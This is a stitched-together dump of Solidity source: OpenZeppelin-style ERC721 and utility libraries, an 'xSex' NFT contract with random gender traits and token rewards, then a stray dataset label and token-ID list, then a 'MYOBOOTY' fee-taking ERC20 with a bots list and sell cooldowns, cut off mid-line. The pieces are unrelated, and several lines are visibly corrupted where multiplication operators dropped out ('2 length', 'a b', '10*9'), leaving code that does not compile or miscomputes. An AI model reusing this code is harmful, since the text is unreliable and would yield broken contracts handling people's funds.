{ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /* * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. / abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. / function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /* * @dev See {IERC721Enumerable-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /* * @dev See {IERC721Enumerable-tokenByIndex}. / function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /* * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address / function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /* * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list / function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /* * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address / function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /* * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list / function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /* * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Enumerable is IERC721 { /* * @dev Returns the total amount of tokens stored by the contract. / function totalSupply() external view returns (uint256); /* * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. / function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /* * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. / function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <[email protected]> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IMintableERC20 is IERC20 { function mint(address account, uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "./utils/IMintableERC20.sol"; import "./utils/Base64.sol"; contract xSex is ERC721Enumerable, ReentrancyGuard, Ownable { uint256 constant public REWARDS_PER_CLAIM = 101018; IMintableERC20 private sceneToken; IERC721 private loot; IERC721 private pLoot; IERC721 private xLoot; uint256 public lootClaimedCount; mapping(address => uint8) looterClaimedCount; uint256 public pLootClaimedCount; mapping(address => uint8) pLooterClaimedCount; uint256 public xLootClaimedCount; mapping(address => uint8) xLooterClaimedCount; uint256 private _tokenId; constructor( address _sceneToken, address _loot, address _pLoot, address _xLoot ) ERC721("xSex by xScene.io for adventurers", "XSEX") Ownable() { sceneToken = IMintableERC20(_sceneToken); loot = IERC721(_loot); pLoot = IERC721(_pLoot); xLoot = IERC721(_xLoot); } function random(string memory input) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(input))); } // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function getAnatomicalSex(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Query for nonexistent token"); uint256 rand = random(string(abi.encodePacked("Anatomical Sex", Strings.toString(tokenId)))); uint256 greatness = rand % 1000; if (greatness < 600) { return "Male"; } if (greatness > 599 && greatness < 999) { return "Female"; } return "Intersex"; } function getGenderIdentity(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Query for nonexistent token"); uint256 rand = random(string(abi.encodePacked("Gender Identity", Strings.toString(tokenId)))); uint256 greatness = rand % 100; if (greatness < 58) { return "Male"; } if (greatness > 57 && greatness < 96) { return "Female"; } if (greatness > 95 && greatness < 97) { return "Agender"; } return "Bigender"; } function getAttraction(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Query for nonexistent token"); uint256 rand = random(string(abi.encodePacked("Attraction", Strings.toString(tokenId)))); uint256 greatness = rand % 100; if (greatness < 38) { return "Male"; } if (greatness > 37 && greatness < 96) { return "Female"; } if (greatness > 95 && greatness < 97) { return "Agender"; } return "Bigender"; } function getX(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Query for nonexistent token"); uint256 rand = random(string(abi.encodePacked("X", Strings.toString(tokenId)))); uint256 greatness = rand % 1000; if (greatness < 1) { return "Two-spirit"; } if (greatness > 0 && greatness < 5) { return "Transsexual"; } return ""; } function tokenURI(uint256 tokenId) override public view returns (string memory) { require(_exists(tokenId), "URI query for nonexistent token"); string[9] memory parts; parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">Anatomical Sex: '; parts[1] = getAnatomicalSex(tokenId); parts[2] = '</text><text x="10" y="40" class="base">Gender Identity: '; parts[3] = getGenderIdentity(tokenId); parts[4] = '</text><text x="10" y="60" class="base">Attraction: '; parts[5] = getAttraction(tokenId); parts[6] = '</text><text x="10" y="80" class="base">'; parts[7] = getX(tokenId); parts[8] = '</text></svg>'; string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8])); string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "xSex #', toString(tokenId), '", "description": "Don\'t feel like a boy or girl? Come to join xSex. Your experience of gender is unique to you. No wrong answers here and we hope you enjoy your metaverse identity in this sexy world.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}')))); output = string(abi.encodePacked('data:application/json;base64,', json)); return output; } function looterClaim() public nonReentrant { require(_tokenId < 10020, "Token ID invalid"); require(lootClaimedCount < 8020, "Loot card claim completed"); require(loot.balanceOf(_msgSender()) > 0, "Not Loot owner"); require(looterClaimedCount[_msgSender()] < 10, "Exceeded max claim times"); looterClaimedCount[_msgSender()] = looterClaimedCount[_msgSender()] + 1; lootClaimedCount++; _safeMint(_msgSender(), _tokenId); _tokenId++; sceneToken.mint(owner(), REWARDS_PER_CLAIM); sceneToken.mint(_msgSender(), REWARDS_PER_CLAIM); } function pLooterClaim() public nonReentrant { require(_tokenId < 10020, "Token ID invalid"); require(pLootClaimedCount < 1000, "pLoot card claim completed"); require(pLoot.balanceOf(_msgSender()) > 0, "Not pLoot owner"); require(pLooterClaimedCount[_msgSender()] < 3, "Exceeded max claim times"); pLooterClaimedCount[_msgSender()] = pLooterClaimedCount[_msgSender()] + 1; pLootClaimedCount++; _safeMint(_msgSender(), _tokenId); _tokenId++; sceneToken.mint(owner(), REWARDS_PER_CLAIM); sceneToken.mint(_msgSender(), REWARDS_PER_CLAIM); } function xLooterClaim() public nonReentrant { require(_tokenId < 10020, "Token ID invalid"); require(xLootClaimedCount < 1000, "xLoot card claim completed"); require(xLoot.balanceOf(_msgSender()) > 0, "Not xLoot owner"); require(xLooterClaimedCount[_msgSender()] < 3, "Exceeded max claim times"); xLooterClaimedCount[_msgSender()] = xLooterClaimedCount[_msgSender()] + 1; xLootClaimedCount++; _safeMint(_msgSender(), _tokenId); _tokenId++; sceneToken.mint(owner(), REWARDS_PER_CLAIM); sceneToken.mint(_msgSender(), REWARDS_PER_CLAIM); } function ownerBatchClaim(uint256 startTokenID, uint256 count) public nonReentrant onlyOwner { require( startTokenID > 10019 && startTokenID + count < 10221, "Token ID invalid" ); for (uint256 i = 0; i < count; i++) { _safeMint(owner(), startTokenID + i); } sceneToken.mint(owner(), 2 count * REWARDS_PER_CLAIM); } function ownerClaim(uint256 tokenID) public nonReentrant onlyOwner { require(tokenID > 10019 && tokenID < 10220, "Token ID invalid"); _safeMint(owner(), tokenID); sceneToken.mint(owner(), 2 * REWARDS_PER_CLAIM); } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2029, 3640, 1037, 3937, 3229, 2491, 7337, 1010, 2073, 1008, 2045, 2003, 2019, 4070, 1006, 2019, 3954, 1007, 2008, 2064, 2022, 4379, 7262, 3229, 2000, 1008, 3563, 4972, 1012, 1008, 1008, 2011, 12398, 1010, 1996, 3954, 4070, 2097, 2022, 1996, 2028, 2008, 21296, 2015, 1996, 3206, 1012, 2023, 1008, 2064, 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/* MYOBOOTY SPDX-License-Identifier: Unlicensed / pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract MYOBOOTY is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"MYOBOOTY"; string private constant _symbol = "MYOBOOTY"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 7; uint256 private _teamFee = 5; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 5; } function setFee(uint256 multiplier) private { _taxFee = _taxFee multiplier; if (multiplier > 1) { _teamFee = 10; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) \|\| _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _teamFee = 6; _taxFee = 2; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 days) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (6 hours); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + 